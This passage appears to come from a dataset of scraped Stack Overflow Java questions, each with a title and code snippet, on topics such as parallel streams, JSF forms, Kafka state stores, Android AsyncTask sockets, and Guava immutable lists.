, Integer > map = new HashMap < > ( ) ; map.put ( new X ( 1 ) , 1 ) ; map.put ( new X ( 2 ) , 2 ) ; map.put ( new X ( 3 ) , 3 ) ; map.put ( new X ( 4 ) , 4 ) ; map.put ( new X ( 5 ) , 5 ) ; map.put ( new X ( 6 ) , 6 ) ; map.put ( new X ( 7 ) , 7 ) ; map.put ( new X ( 8 ) , 8 ) ; map.put ( new X ( 9 ) , 9 ) ; map.put ( new X ( 10 ) , 10 ) ; map.put ( new X ( 11 ) , 11 ) ; map.put ( new X ( 12 ) , 12 ) ; map.put ( new X ( 13 ) , 13 ) ; System.out.println ( map.size ( ) ) ;",Hashmap loadfactor - based on number of buckets occupied or number of entries in all buckets ? +Java,"I will try to be as brief as possible , please stay with me here `` A.jsf '' - > managed bean : bean '' # { bean.list } '' : will take us to B.jsfThen the handleFileUpload ( ) `` B.jsf '' - > managed bean : bean2When I click upload , it give me a growl error message `` You do not have permission to upload . `` , which is good . But then when I click `` Back '' , which will take me to B.jsf , I see the growl message `` You do not have permission to upload . '' again . What seem to be happening is as I click the `` Back '' , I send other form request to upload , which then generated the same error message , which then being displayed at B.jsf . Is there a way to fix this , beside putting the `` Back '' button into an empty form , because now I have two buttons standing on top of each others , instead of side by side . I try to do this : hoping that it would send to component with id= '' tom '' , so then the growl with id=msgs , would not get load , but no luck . I try to turn the upload flag on when I click the Back button , but the web form get requested before the method that handle the back navigation get called . It is not as brief as I want it to be , therefore I want apologize for it : D","< p : growl id= '' msgs '' showDetail= '' true '' / > < h : form id= '' myform1 '' enctype= '' multipart/form-data '' > < p : panel header= '' Upload '' style= '' font-size : 11px ; '' > < h : panelGrid columns= '' 2 '' cellpadding= '' 10 '' > < h : outputLabel value= '' Drawing : '' / > < p : fileUpload fileUploadListener= '' # { bean.handleFileUpload } '' update= '' msgs '' allowTypes= '' * . * ; '' / > < /h : panelGrid > < p : commandButton ajax= '' false '' immediate= '' true '' id= '' back '' value= '' Back '' action= '' # { bean.list } '' / > < p : commandButton ajax= '' false '' id= '' persist '' value= '' Persist '' action= '' # { bean.handleRevision } '' / > < /p : panel > < /h : form > if ( ! upload ) { FacesMessage msg = new FacesMessage ( FacesMessage.SEVERITY_ERROR , `` Error '' , `` You do not have permission to upload . `` ) ; FacesContext.getCurrentInstance ( ) .addMessage ( null , msg ) ; } ... ... < p : growl id= '' msgs '' showDetail= '' true '' / > ... FacesContext.getCurrentInstance ( ) .addMessage ( `` tom '' , msg ) ;",Is there a way to not sending a whole web form when click a button ? +Java,"I am trying to write a method that finds the indices of an object in a list of lists and takes advantage of parallelism . Here is my code.When I run the following code the output is something likeIn other words , the search continues even after the object has been found . Is n't findAny supposed to be a short-circuiting operation ? What am I missing ? Also , what is the best way to take advantage of parallelism when iterating over a list of lists or a jagged array ? EDITFollowing the idea in @ Sotirios 's answer , I got an output ofNotice thatcontinues searching even after the answer is found .","// returns [ i , j ] where lists.get ( i ) .get ( j ) equals o , or null if o is not present.public static int [ ] indices ( List < ? extends List < ? > > lists , Object o ) { return IntStream.range ( 0 , lists.size ( ) ) .boxed ( ) .flatMap ( i - > IntStream.range ( 0 , lists.get ( i ) .size ( ) ) .mapToObj ( j - > new int [ ] { i , j } ) ) .parallel ( ) .filter ( a - > { System.out.println ( Arrays.toString ( a ) ) ; // For testing only return Objects.equals ( o , lists.get ( a [ 0 ] ) .get ( a [ 1 ] ) ) ; } ) .findAny ( ) .orElse ( null ) ; } List < List < String > > lists = Arrays.asList ( Arrays.asList ( `` A '' , `` B '' , `` C '' ) , Arrays.asList ( `` D '' , `` E '' , `` F '' , `` G '' ) , Arrays.asList ( `` H '' , `` I '' ) , Collections.nCopies ( 5 , `` J '' ) ) ; System.out.println ( `` Indices are `` + Arrays.toString ( indices ( lists , `` J '' ) ) ) ; [ 0 , 0 ] [ 0 , 1 ] [ 0 , 2 ] [ 3 , 0 ] [ 3 , 1 ] [ 3 , 2 ] [ 3 , 3 ] [ 2 , 0 ] [ 3 , 4 ] [ 1 , 0 ] [ 1 , 1 ] [ 2 , 1 ] [ 1 , 2 ] [ 1 , 3 ] Indices are [ 3 , 0 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ] [ 3 , 0 ] Thread [ main,5 , main ] [ 2 , 0 ] Thread [ main,5 , main ] [ 2 , 1 ] Thread [ ForkJoinPool.commonPool-worker-1,5 , main ] [ 1 , 0 ] Thread [ ForkJoinPool.commonPool-worker-1,5 , main ] [ 1 , 1 ] Thread [ ForkJoinPool.commonPool-worker-1,5 , main ] [ 1 , 2 ] Thread [ ForkJoinPool.commonPool-worker-1,5 , main ] [ 1 , 3 ] Thread [ main,5 , main ] [ 0 , 0 ] Thread [ main,5 , main ] [ 0 , 1 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ] [ 3 , 1 ] Thread [ main,5 , main ] [ 0 , 2 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ] [ 3 , 2 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ] [ 3 , 3 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ] [ 3 , 4 ] Indices are [ 3 , 0 ] Thread [ ForkJoinPool.commonPool-worker-3,5 , main ]",Using streams to find an object in a list of lists +Java,"Given a simple if statement in the formorEclipse gives me the warning , underlining the whole else block Statement unnecessarily nested within else clause . The corresponding then clause does not complete normallyHowever , this ... does not give the warning.this question seems related , but I 'm not using return in the else of the first example , and else is not finally.I understand that this is simply a preference , and that it can be turned off . However , I do n't like ignoring things simply because I do n't understand what is the problem . And I ca n't seem to find any documentation on why Eclipse added this as a configurable warning.So in all , What does The corresponding then clause does not complete normally mean ? What is the problem that this warning is trying to protect me from ?",public static String test ( boolean flag ) { if ( ! flag ) { return `` no '' ; } else { System.out.println ( `` flag enabled '' ) ; } return `` yes '' ; } public static String test ( final boolean flag ) { if ( flag ) { System.out.println ( `` flag enabled '' ) ; return `` yes '' ; } else { return `` no '' ; } } public static String test ( final boolean flag ) { if ( flag ) { System.out.println ( `` flag enabled '' ) ; return `` yes '' ; } return `` no '' ; },The corresponding then clause does not complete normally +Java,"I noticed by accident that this throw statement ( extracted from some more complex code ) compiles : For a brief but happy moment I thought that checked exceptions had finally decided to just die already , but it still gets uppity at this : The try block does n't have to be empty ; it seems it can have code so long as that code does n't throw a checked exception . That seems reasonable , but my question is , what rule in the language specification describes this behavior ? As far as I can see , §14.18 The throw Statement explicitly forbids it , because the type of the t expression is a checked exception , and it 's not caught or declared to be thrown . ( ? )",void foo ( ) { try { } catch ( Throwable t ) { throw t ; } } void foo ( ) { try { } catch ( Throwable t ) { Throwable t1 = t ; throw t1 ; } },Why is throwing a checked exception type allowed in this case ? +Java,I have an AsyncTask in my application : And I want to stop AsyncTask task when I close my application : ( press back putton ) .I tried the answer here Android - Cancel AsyncTask Forcefully to check isCancelled ( ) But it seems that application will block at myInputstream.read ( readbyte ) when task.cancle ( true ) is called.Android will throw an `` app is stop responding.. '' pop-up to me.How can I force stop the blocking read ?,"public class myActivity extends Activity { private static Socket mySocket ; private static InputStream myInputstream ; private AsyncTask task ; private boolean connected = false ; @ Override protected void onCreate ( Bundle savedInstanceState ) { ... task = new UpdateTask ( ) .execute ( ) ; ... } private class myTask extends AsyncTask < Void , String , String > { @ Override protected String doInBackground ( Void ... v ) { if ( ! connected ) { try { mySocket = new Socket ( ) ; mySocket.connect ( new InetSocketAddress ( MYIP , MYPORT ) ) ; myInputstream = mySocket.getInputStream ( ) ; connected = true ; } catch ( IOException e ) { ... } } while ( connected & & ! isCancelled ( ) ) { byte [ ] readbyte = new byte [ 1024 ] ; try { myInputstream.read ( readbyte ) ; } catch ( IOException e ) { ... } ... } return null ; } ... } @ Override public boolean onKeyDown ( int keyCode , KeyEvent event ) { if ( keyCode == KeyEvent.KEYCODE_BACK ) { task.cancel ( true ) ; mySocket.close ( ) ; finish ( ) ; } return super.onKeyDown ( keyCode , event ) ; }",Force stop a blocking read AsyncTask +Java,"JavaDoc description for Processor.close ( ) in Kafka 1.0.1 says , that : Note : Do not close any streams managed resources , like StateStores here , as they are managed by the library.In addition , the JavaDoc description of StateStore.close ( ) says , that : Users only need to implement this function but should NEVER need to call this api explicitly as it will be called by the library automatically when necessaryBut I 've found an example in the documentation , in which a state store is being explicitly closed inside that method : So , I 'm kind of lost . Should I close the state store inside a Processor , or not ?",@ Overridepublic void close ( ) { // close the key-value store kvStore.close ( ) ; },Kafka Streams closing processor 's state store +Java,"I 've come across a weird problem where a method reference to Thread : :sleep is ambiguous but a method with the same signature is not.I get those 2 errors : The only difference I see is that Thread : :sleep is native . Does it change anything ? I do n't think the overload Thread : :sleep ( long , int ) comes into play here . Why does it happen ? EDIT : Using javac version 1.8.0_111","package test ; public class Test { public static void main ( String [ ] args ) { foo ( Test : :sleep , 1000L ) ; //fine foo ( ( FooVoid < Long > ) Thread : :sleep , 1000L ) ; //fine foo ( Thread : :sleep , 1000L ) ; //error } public static void sleep ( long millis ) throws InterruptedException { Thread.sleep ( millis ) ; } public static < P , R > void foo ( Foo < P , R > function , P param ) { } public static < P > void foo ( FooVoid < P > function , P param ) { } @ FunctionalInterface public interface Foo < P , R > { R call ( P param1 ) throws Exception ; } @ FunctionalInterface public interface FooVoid < P > { void call ( P param1 ) throws Exception ; } } Error : ( 9 , 17 ) java : reference to foo is ambiguous both method < P , R > foo ( test.Test.Foo < P , R > , P ) in test.Test and method < P > foo ( test.Test.FooVoid < P > , P ) in test.Test matchError : ( 9 , 20 ) java : incompatible types : can not infer type-variable ( s ) P , R ( argument mismatch ; bad return type in method reference void can not be converted to R )",Method reference is ambiguous for Thread.sleep +Java,"I 'm kinda new to Android app development , and do n't know how to debug this . So I 'm trying to do EditText.setText on a DialogFragment . It prints out the right string on the log , but still showing the old string based on .xml file ( `` Enter item here. '' ) . Is there any way to update it ? } The log fileThe xml file is :","public class MyAlertDialogFragment extends DialogFragment { public MyAlertDialogFragment ( ) { } public static MyAlertDialogFragment newInstance ( String desc ) { MyAlertDialogFragment frag = new MyAlertDialogFragment ( ) ; Bundle args = new Bundle ( ) ; args.putString ( `` desc '' , desc ) ; frag.setArguments ( args ) ; return frag ; } @ Overridepublic Dialog onCreateDialog ( Bundle savedInstanceState ) { AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder ( getActivity ( ) ) ; alertDialogBuilder.setView ( R.layout.custom_dialog ) ; alertDialogBuilder.setTitle ( `` Edit to-do list '' ) ; final View layout = View.inflate ( MainActivity.getAppContext ( ) , R.layout.custom_dialog , null ) ; final EditText mEditText = ( EditText ) layout.findViewById ( R.id.EditDesc ) ; String desc = getArguments ( ) .getString ( `` desc '' ) ; mEditText.setText ( desc ) ; System.out.println ( `` EditText is `` + mEditText.getText ( ) .toString ( ) ) ; alertDialogBuilder.setPositiveButton ( `` OK '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialog , int which ) { // on success EditTodoFragment.EditTodoFragmentListener listener = ( EditTodoFragment.EditTodoFragmentListener ) getActivity ( ) ; listener.onFinishEditDialog ( mEditText.getText ( ) .toString ( ) ) ; } } ) ; alertDialogBuilder.setNegativeButton ( `` Cancel '' , new DialogInterface.OnClickListener ( ) { @ Override public void onClick ( DialogInterface dialog , int which ) { dialog.dismiss ( ) ; } } ) ; return alertDialogBuilder.create ( ) ; } 07-06 21:04:20.738 4115-4115/com.example.light.todolist I/System.out : EditText is Doing grocery < TextView android : layout_width= '' 238dp '' android : layout_height= '' wrap_content '' android : text= '' Edit Item Below : '' android : id= '' @ +id/EditTitle '' android : layout_weight= '' 0.04 '' / > < EditText android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : id= '' @ +id/EditDesc '' android : text= '' Enter item here . `` > < requestFocus / > < /EditText >",EditText setText not displaying on a Dialog Fragment +Java,"I have a very simple Checkclass which has a blocking waitForCondition ( ) method . This method is blocking . I want to create some unit tests for this method . First , the method should return when the condition is met . Second , the method should return when it is interrupted . Internally the Check class has an ArrayBlockingQueue and calls its take ( ) method , so my test is really about having coded the logic for the condition correctly ( as it should be ) .In the application , data for the Check class is fed by another thread via an InputData method . The InputData method executes the logic on incoming data and places a dummy object in the ArrayBlockingQueue when the condition is met . This should cause waitForCondition ( ) to return.So my first thought is I can test the InputData by mocking and check to see the dummy object is added to the queue when the condition is met . This would require changing the design of the class , since the queue is a private data member ( unless it is possible to mock private data ) . Instead of InputData adding directly to the queue when the condition is met , it would have to call something which could be mocked.But then there is the problem of checking the waitForCondition ( ) methods themselves , given that InputData is functioning correctly . It 's really simply code : So I 'm wondering if it 's worth the imagined trouble : a test which creates another thread with a Check , calls its waitForCondition ( ) , then returns something when it 's done . Perhaps , using an Executor service . The fuzzy part is how to synchronize the assertTrue ( ... ) . I found this article on asynchronous testing which looks like it might do the trick . Summary of question : Should I change the design to test the logic in InputData ( ) and if so , how ? Should I leave out the test of waitForCondition ( ) as long as InputData ( ) is tested ? Or is it better to just do what needs to be done ( a somewhat complicated unit test ) and test waitForCondition ( ) directly ?",try { myArrayBlockingQueue.take ( ) ; return true ; } catch ( InterruptedException ex ) { return false ; },Unit testing a nonblocking method ( asynchronous testing ) +Java,"I have an annotation that is available in a library . Is it safe for me to add a new value to this annotation in a subsequent release without breaking those that compiled against the previous version of the library ? For example : If I add a method called `` String thirdValue ( ) '' , I assume a default value will be required since the legacy annotation users will not define that property.At runtime , I have some code that will attempt to read all values : The java specification is n't clear about whether or not this is safe.http : //docs.oracle.com/javase/specs/jls/se7/html/jls-13.htmlsection `` 13.5.7 . Evolution of Annotation Types '' just mentions that annotations behave as interfaces .",// version 1 @ Retention ( RetentionPolicy.RUNTIME ) public @ interface MyAnnotation { String firstValue ( ) ; String secondValue ( ) ; } // version 2 @ Retention ( RetentionPolicy.RUNTIME ) public @ interface MyAnnotation { String firstValue ( ) ; String secondValue ( ) ; String thirdValue ( ) default `` third '' ; } Class myClass = MyObject.class ; MyAnnotation annotation = myClass.getAnnotation ( MyAnnotation.class ) ; String firstValue = annotation.firstValue ( ) ; String secondValue = annotation.secondValue ( ) ; String thirdValue = annotation.thirdValue ( ) ;,Is adding a method to a Java annotation safe for backward compatibility +Java,"I 'm using spring-mvc to create servlets like : Now if the user accesses the root of my app localhost:8080/my-app , it should show a list of GET and POST methods available . At best with possible input parameters , acceptable headers etc.Question : is that possible with any spring framework , like HATEOAS ? I 'd expect a framework to auto detect any @ RestController and included methods.Or would I have to create that overview page myself ?",@ RestControllerpublic class MyServlet { @ GetMapping ( `` /test '' ) public MyRsp test ( MyReq req ) { // ... } },How to self describe a REST api with Spring ? +Java,"I am looking for a relevant portion of the Java Language Specification ( JLS ) which describes the behaviour when invoking a variable arity ( vararg ) method.Consider the method : If I invoke the method like so : The output will look like : [ ] because the omission of args at the call site has been converted into an empty array in the printVarArgs method.I am looking for the point of the JLS which defines this behaviour . The closest I have found is 15.12.4.2 Evaluate Arguments , but it does n't give this example , and I 'm not sure if this case is actually covered by the formal/mathematical description.Which part of the JLS describes the automatic creation of an empty array when a vararg is omitted ?",public static void printVarArgs ( String ... args ) { System.out.println ( Arrays.toString ( args ) ) ; } printVarArgs ( ) ;,Which part of the Java Language Specification describes the behaviour of omitted varargs ? +Java,"The following method I have created return a vector ( LVector because vector is already something ) and it throws an exception . Since the method is nonvoid do I have do always return an LVector , or when the exception is thrown does the method just cancel itself ?","public static LVector crossProduct ( LVector v1 , LVector v2 ) throws LCalculateException { if ( v1.getLength ( ) ! = 3|| v2.getLength ( ) ! = 3 ) throw new LCalculateException ( `` Invalid vector lengths '' ) ; return new LVector ( new double [ 3 ] { v1.get ( 1 ) *v2.get ( 2 ) -v1.get ( 2 ) *v2.get ( 1 ) , v1.get ( 2 ) *v2.get ( 0 ) -v1.get ( 0 ) *v2.get ( 2 ) , v1.get ( 0 ) *v2.get ( 1 ) -v1.get ( 1 ) *v2.get ( 0 ) } ) ; }",java exception throw return +Java,"This question is , at it 's core , a design question . I 'll use a Java/Java EE example to illustrate the question.Consider a web-mail application which is built using JPA for persistence and EJB for the services layer . Let 's say we have a service method in our EJB like this : This is seemingly a reasonable business method . Presumably , the Mailbox object will still be attached and it will seamlessly save the changes back to the database . After all , that is the promise of transparent persistence.The Mailbox object would have this method : Here 's where it gets complicated -- assume we want to have other mailbox types . Say we have an AutoRespondingMailbox which automatically responds to the sender , and a HelpDeskMailbox which automatically opens a helpdesk ticket with each email received.The natural thing to do would be to extend Mailbox , where AutoRespondingMailbox has this method : The problem is that our Maibox object and it 's subclasses are `` domain objects '' ( and in this example , also JPA entities ) . The Hibernate guys ( and many others ) preach a non-dependent domain model -- that is , a domain model that does not depend on container/runtime provided services . The issue with such a model is that the AutoRespndingMailbox.addMessage ( ) method can not send an email because it ca n't access , for example , JavaMail.The exact same issue would occur with HelpDeskMailbox , as it could not access WebServices or JNDI injection to communicate with the HelpDesk system.So you 're forced to put this functionality in the service layer , like this : Having to use instanceof in that way is the first sign of a problem . Having to modify this service class each time you want to subclass Mailbox is another sign of a problem.Does anyone have best practices for how these situations are handled ? Some would say that the Mailbox object should have access to the container services , and this can be done with some fudging , but it 's definitely fighting the intended usage of JPA to do that , as the container provides dependency injection everywhere except in Entities , clearly indicating that this is n't an expected use case . So , what are we expected to do instead ? Liter-up our service methods and give-up polymorphism ? Our objects automatically become relegated to C-style structs and we lose most of the benefit of OO.The Hibernate team would say that we should split our business logic between the domain layer and the service layer , putting all of the logic that 's not dependent on the container into the domain entities , and putting all the logic that is dependent on the container into the services layer . I can accept that , if someone can give me an example of how to do that without having to completely give-up polymorphism and resorting to instanceof and other such nastiness","public void incomingMail ( String destination , Message message ) { Mailbox mb = findMailBox ( destination ) ; // who cares how this works mb.addMessage ( message ) ; } public void addMessage ( Message message ) { messages.add ( message ) ; } public void addMessage ( Message message ) { String response = getAutoResponse ( ) ; // do something magic here to send the response automatically } public void incomingMail ( String destination , Message message ) { Mailbox mb = findMailBox ( destination ) ; // who cares how this works if ( mb instanceof AutoRespondingMailbox ) { String response = ( ( AutoRespondingMailbox ) mb ) .getAutoResponse ( ) ; // now we can access the container services to send the mail } else if ( mb instanceof HelpDeskMailbox ) { // ... } else { mb.addMessage ( message ) ; } }",Design : When the line between domain objects and service objects is n't clear +Java,"A user reported that a certain YouTube video causes our program to fail . Upon investigation it seems that adding a String containing the title of that video to a JTable causes an ArrayIndexOutOfBoundsException somewhere in the rendering code.We have tested and confirmed this on both Java 7u45 and Java 8 ( b121 ) on Windows XP , 7 and 8 , and Ubuntu.Here is a test program demonstrating the issue : This stack trace is printed to stderr every time Swing attempts to render the text : Can you reproduce this ? What peculiarity in the string actually causes this ? Is it really a JRE bug ? Should I report it to Oracle ?","import javax.swing . * ; import java.awt . * ; public class TestJTableAIOOBE { private static final String TEXT = `` \u0D38\u0D4D\u0D31\u0D4D\u0D31\u0D40\u0D32\u0D4D\u200D \u0D15\u0D31\u0D3F\u0D15\u0D4D\u0D15\u0D24\u0D4D\u0D24\u0D3F\u0D2F\u0D3F\u0D32\u0D4D\u200D \u0D2F\u0D47\u0D36\u0D41\u0D15\u0D4D\u0D30\u0D3F\u0D38\u0D4D\u0D24\u0D41\u0D35\u0D3F\u0D28\u0D4D\u0D31\u0D46 \u0D30\u0D42\u0D2A\u0D02 \u0D2A\u0D4D\u0D30\u0D24\u0D4D\u0D2F\u0D15\u0D4D\u0D37\u0D2A\u0D4D\u0D2A\u0D46\u0D1F\u0D4D\u0D1F\u0D41 '' ; public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { Font font = findFont ( ) ; if ( font == null ) { System.out.println ( `` No suitable font found '' ) ; return ; } System.out.println ( `` Using font : `` + font ) ; JTable table = new JTable ( new Object [ ] [ ] { { TEXT } } , new Object [ ] { `` title '' } ) ; table.setFont ( font ) ; JFrame frame = new JFrame ( ) ; frame.add ( table ) ; frame.pack ( ) ; frame.setDefaultCloseOperation ( WindowConstants.DISPOSE_ON_CLOSE ) ; frame.setVisible ( true ) ; } } ) ; } private static Font findFont ( ) { GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment ( ) ; for ( Font font : ge.getAllFonts ( ) ) { if ( font.canDisplayUpTo ( TEXT ) == -1 ) { return font.deriveFont ( 0 , 12 ) ; } } return null ; } } Exception in thread `` AWT-EventQueue-0 '' java.lang.ArrayIndexOutOfBoundsException : 48 at sun.font.ExtendedTextSourceLabel.createCharinfo ( ExtendedTextSourceLabel.java:814 ) at sun.font.ExtendedTextSourceLabel.getCharinfo ( ExtendedTextSourceLabel.java:548 ) at sun.font.ExtendedTextSourceLabel.getLineBreakIndex ( ExtendedTextSourceLabel.java:480 ) at java.awt.font.TextMeasurer.calcLineBreak ( TextMeasurer.java:330 ) at java.awt.font.TextMeasurer.getLineBreakIndex ( TextMeasurer.java:566 ) at java.awt.font.LineBreakMeasurer.nextOffset ( LineBreakMeasurer.java:359 ) at java.awt.font.LineBreakMeasurer.nextOffset ( LineBreakMeasurer.java:328 ) at sun.swing.SwingUtilities2.clipString ( SwingUtilities2.java:472 ) at javax.swing.SwingUtilities.layoutCompoundLabelImpl ( SwingUtilities.java:1023 ) at javax.swing.SwingUtilities.layoutCompoundLabel ( SwingUtilities.java:892 ) at javax.swing.plaf.basic.BasicLabelUI.layoutCL ( BasicLabelUI.java:94 ) at javax.swing.plaf.basic.BasicLabelUI.layout ( BasicLabelUI.java:201 ) at javax.swing.plaf.basic.BasicLabelUI.paint ( BasicLabelUI.java:164 ) at javax.swing.plaf.ComponentUI.update ( ComponentUI.java:161 ) at javax.swing.JComponent.paintComponent ( JComponent.java:777 ) at javax.swing.JComponent.paint ( JComponent.java:1053 ) at javax.swing.CellRendererPane.paintComponent ( CellRendererPane.java:151 ) at javax.swing.plaf.basic.BasicTableUI.paintCell ( BasicTableUI.java:2115 ) at javax.swing.plaf.basic.BasicTableUI.paintCells ( BasicTableUI.java:2016 ) at javax.swing.plaf.basic.BasicTableUI.paint ( BasicTableUI.java:1812 ) at javax.swing.plaf.ComponentUI.update ( ComponentUI.java:161 ) at javax.swing.JComponent.paintComponent ( JComponent.java:777 ) at javax.swing.JComponent.paint ( JComponent.java:1053 ) at javax.swing.JComponent.paintChildren ( JComponent.java:886 ) at javax.swing.JComponent.paint ( JComponent.java:1062 ) at javax.swing.JComponent.paintChildren ( JComponent.java:886 ) at javax.swing.JComponent.paint ( JComponent.java:1062 ) at javax.swing.JLayeredPane.paint ( JLayeredPane.java:586 ) at javax.swing.JComponent.paintChildren ( JComponent.java:886 ) at javax.swing.JComponent.paintToOffscreen ( JComponent.java:5224 ) at javax.swing.RepaintManager $ PaintManager.paintDoubleBuffered ( RepaintManager.java:1532 ) at javax.swing.RepaintManager $ PaintManager.paint ( RepaintManager.java:1455 ) at javax.swing.RepaintManager.paint ( RepaintManager.java:1252 ) at javax.swing.JComponent.paint ( JComponent.java:1039 ) at java.awt.GraphicsCallback $ PaintCallback.run ( GraphicsCallback.java:39 ) at sun.awt.SunGraphicsCallback.runOneComponent ( SunGraphicsCallback.java:79 ) at sun.awt.SunGraphicsCallback.runComponents ( SunGraphicsCallback.java:116 ) at java.awt.Container.paint ( Container.java:1973 ) at java.awt.Window.paint ( Window.java:3901 ) at javax.swing.RepaintManager $ 3.run ( RepaintManager.java:822 ) at javax.swing.RepaintManager $ 3.run ( RepaintManager.java:794 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:75 ) at javax.swing.RepaintManager.paintDirtyRegions ( RepaintManager.java:794 ) at javax.swing.RepaintManager.paintDirtyRegions ( RepaintManager.java:769 ) at javax.swing.RepaintManager.prePaintDirtyRegions ( RepaintManager.java:718 ) at javax.swing.RepaintManager.access $ 1100 ( RepaintManager.java:62 ) at javax.swing.RepaintManager $ ProcessingRunnable.run ( RepaintManager.java:1680 ) at java.awt.event.InvocationEvent.dispatch ( InvocationEvent.java:311 ) at java.awt.EventQueue.dispatchEventImpl ( EventQueue.java:744 ) at java.awt.EventQueue.access $ 400 ( EventQueue.java:97 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:697 ) at java.awt.EventQueue $ 3.run ( EventQueue.java:691 ) at java.security.AccessController.doPrivileged ( Native Method ) at java.security.ProtectionDomain $ 1.doIntersectionPrivilege ( ProtectionDomain.java:75 ) at java.awt.EventQueue.dispatchEvent ( EventQueue.java:714 ) at java.awt.EventDispatchThread.pumpOneEventForFilters ( EventDispatchThread.java:201 ) at java.awt.EventDispatchThread.pumpEventsForFilter ( EventDispatchThread.java:116 ) at java.awt.EventDispatchThread.pumpEventsForHierarchy ( EventDispatchThread.java:105 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:101 ) at java.awt.EventDispatchThread.pumpEvents ( EventDispatchThread.java:93 ) at java.awt.EventDispatchThread.run ( EventDispatchThread.java:82 )",JRE bug ? JTable contains certain string - > ArrayIndexOutOfBoundsException +Java,"ObjectiveCreate a class to be used as an immutable list of String objects.ApproachI have decided to leverage Google Guava 's ImmutableList < E > collection rather than wrapping a simple List < E > with Collections.unmodifiableList ( List < ? extends T > list ) because I understand this avoids unnecessary concurrency checks on the backing List < E > , which is unaware of being wrapped ( source : ImmutableCollectionsExplained ) .RequirementsClass with be a `` value-holder '' to be used across threadsNo code should be allowed to change the inner values after creationNice-to-havesThe class should implement Iterable < E > for iteration over the values in the order of creationThere should be only one class for a given set of String s.AttemptsHere some attempts at it , although more combinations are possible . Forgive the humourous rendition.Attempt # 1 ( including usage example ) Attempt # 2Attempt # 3Summary of differences1 keeps List < E > in the public interfaces , documenting immutability in the JavaDoc.2 stores and exposes everything as Google Guava 's ImmutableList < E > 3 keeps the internal reference as final at the expense of creating a specialised constructor , possibly making the static factory method initialisation look silly in the absence of other initialisation options ( which are actually there in the real class ) QuestionPlease help me choose among one of these implementations , with your reasoning behind the choice.I think the main drawback of approach # 2 is that clients need to have cognizance/visibility of the specialised Google Guava type and probably they should n't ?","import java.util.List ; import com.google.common.collect.ImmutableList ; class BritnetSpearsSpellings implements Iterable < String > { public static BritnetSpearsSpellings of ( String ... spellings ) { BritnetSpearsSpellings britneySpears = new BritnetSpearsSpellings ( ) ; britneySpears.spellings = ImmutableList.copyOf ( spellings ) ; return britneySpears ; } private List < String > spellings ; private BritnetSpearsSpellings ( ) { } public List < String > getSpellings ( ) { return spellings ; } } @ Overridepublic Iterator < String > iterator ( ) { return spellings.iterator ( ) ; } public class Usage { public static void main ( String [ ] args ) { for ( String sepllin : BritnetSpearsSpellings.of ( `` Brittany Spears '' , `` Brittney Spears '' , `` Britany Spears '' ) ) System.out.printf ( `` You spel Britni like so : % s % n '' , sepllin ) ; } } } class BritnetSpearsSpellings implements Iterable < String > { public static BritnetSpearsSpellings of ( String ... spellings ) { BritnetSpearsSpellings britneySpears = new BritnetSpearsSpellings ( ) ; britneySpears.spellings = ImmutableList.copyOf ( spellings ) ; return britneySpears ; } private ImmutableList < String > spellings ; private BritnetSpearsSpellings ( ) { } public ImmutableList < String > getSpellings ( ) { return spellings ; } @ Override public Iterator < String > iterator ( ) { return spellings.iterator ( ) ; } } class BritnetSpearsSpellings implements Iterable < String > { public static BritnetSpearsSpellings of ( String ... spellings ) { BritnetSpearsSpellings britneySpears = new BritnetSpearsSpellings ( ImmutableList.copyOf ( spellings ) ) ; return britneySpears ; } private final ImmutableList < String > spellings ; private BritnetSpearsSpellings ( ImmutableList < String > spellings ) { this.spellings = spellings ; } public ImmutableList < String > getSpellings ( ) { return spellings ; } @ Override public Iterator < String > iterator ( ) { return spellings.iterator ( ) ; } }",How to design an immutable value class holding java.lang.String ? +Java,I am reading a great book called Swing : A Beginner 's guide.There is this code in the book that creates a button and a label that alerts on button 's state change events : Everything is working fine except for the rollover event.The underlying operating system is Mac OS Lion.Should I blame Lion for this swing problem or am I doing something wrong ? Thank you.Update 1 : My neatbeans settings picture ( I hope it helps ),"//Demonstrate a change listener and the button modelpackage swingexample2_6 ; import java.awt . * ; import javax.swing . * ; import javax.swing.event . * ; public class ChangeDemo { JButton jbtn ; JLabel jlab ; public ChangeDemo ( ) { //Create a new JFrame container JFrame jfrm = new JFrame ( `` Button Change Events '' ) ; //Specify FlowLayout for the layout manager jfrm.getContentPane ( ) .setLayout ( new FlowLayout ( ) ) ; //Give the frame an initial size jfrm.setSize ( 250 , 160 ) ; //Terminate the program when the user closes the application jfrm.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; //Create an empty label jlab = new JLabel ( ) ; //Make a button jbtn = new JButton ( `` Press for Change Event Test '' ) ; // -- Add change listener jbtn.addChangeListener ( new ChangeListener ( ) { @ Override public void stateChanged ( ChangeEvent ce ) { ButtonModel mod = jbtn.getModel ( ) ; String what = `` '' ; if ( mod.isEnabled ( ) ) { what += `` Enabled < br > '' ; } if ( mod.isRollover ( ) ) { what += `` Rollover < br > '' ; } if ( mod.isArmed ( ) ) { what += `` Armed < br > '' ; } if ( mod.isPressed ( ) ) { what += `` Pressed < br > '' ; } //Notice that this label 's text is HTML jlab.setText ( `` < html > Current stats : < br > '' + what ) ; } } ) ; //Add the components to the content pane jfrm.getContentPane ( ) .add ( jbtn ) ; jfrm.getContentPane ( ) .add ( jlab ) ; //Display the frame jfrm.setVisible ( true ) ; } public static void main ( String [ ] args ) { //Create the frame on the event dispatching thread SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new ChangeDemo ( ) ; } } ) ; } }",Java isRollover ( ) method does not produce an event in my swing application +Java,"I am new to multithreading , and I wrote this code which prints the numbers 1-10000 by having concurrently running threads increment and print a variable.Here 's the code I 'm using : This works - I wrote up a test program to check the output , and the numbers printed are exactly 1-10000 in order.My question is 